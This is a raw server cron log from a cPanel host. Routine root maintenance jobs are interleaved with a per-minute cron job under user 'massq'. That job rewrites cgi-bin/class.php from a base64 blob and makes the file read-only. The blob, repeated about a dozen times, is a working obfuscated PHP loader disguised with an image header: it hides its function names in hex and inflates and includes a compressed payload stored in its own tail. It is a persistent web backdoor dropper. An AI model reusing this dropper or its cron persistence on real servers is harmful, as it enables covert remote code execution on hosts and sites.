Sep 13 01:53:01 server CROND[6142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:53:01 server CROND[6143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:53:01 server CROND[6144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:54:01 server CROND[6618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:54:01 server CROND[6619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:54:01 server CROND[6620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:55:01 server CROND[7008]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:55:01 server CROND[7010]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 01:55:01 server CROND[7011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:55:01 server CROND[7012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:55:01 server CROND[7015]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 01:55:01 server CROND[7017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:55:01 server CROND[7016]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:56:01 server CROND[7845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:56:01 server CROND[7846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:56:01 server CROND[7847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:57:01 server CROND[8229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:57:01 server CROND[8231]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 01:57:01 server CROND[8230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:57:01 server CROND[8232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:58:01 server CROND[8615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:58:01 server CROND[8616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:58:01 server CROND[8617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:59:01 server CROND[9092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:59:01 server CROND[9093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:59:01 server CROND[9099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:00:01 server CROND[9488]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:00:01 server CROND[9490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:00:01 server CROND[9492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:00:01 server CROND[9500]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 13 02:00:01 server CROND[9498]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 02:00:01 server CROND[9496]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 02:00:01 server CROND[9494]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 02:00:01 server CROND[9497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:00:01 server CROND[9495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:00:01 server CROND[9501]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 13 02:00:01 server CROND[9499]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep 13 02:01:01 server CROND[10413]: (root) CMD (run-parts /etc/cron.hourly)
Sep 13 02:01:01 server CROND[10414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:01:01 server CROND[10415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:01:01 server CROND[10416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:01:01 server run-parts(/etc/cron.hourly)[10413]: starting 0anacron
Sep 13 02:01:01 server anacron[10434]: Anacron started on 2026-09-13
Sep 13 02:01:01 server anacron[10434]: Normal exit (0 jobs run)
Sep 13 02:01:01 server run-parts(/etc/cron.hourly)[10437]: finished 0anacron
Sep 13 02:02:01 server CROND[10809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:02:01 server CROND[10810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:02:01 server CROND[10812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:03:01 server CROND[11196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:03:01 server CROND[11197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:03:01 server CROND[11198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:04:01 server CROND[11673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:04:01 server CROND[11674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
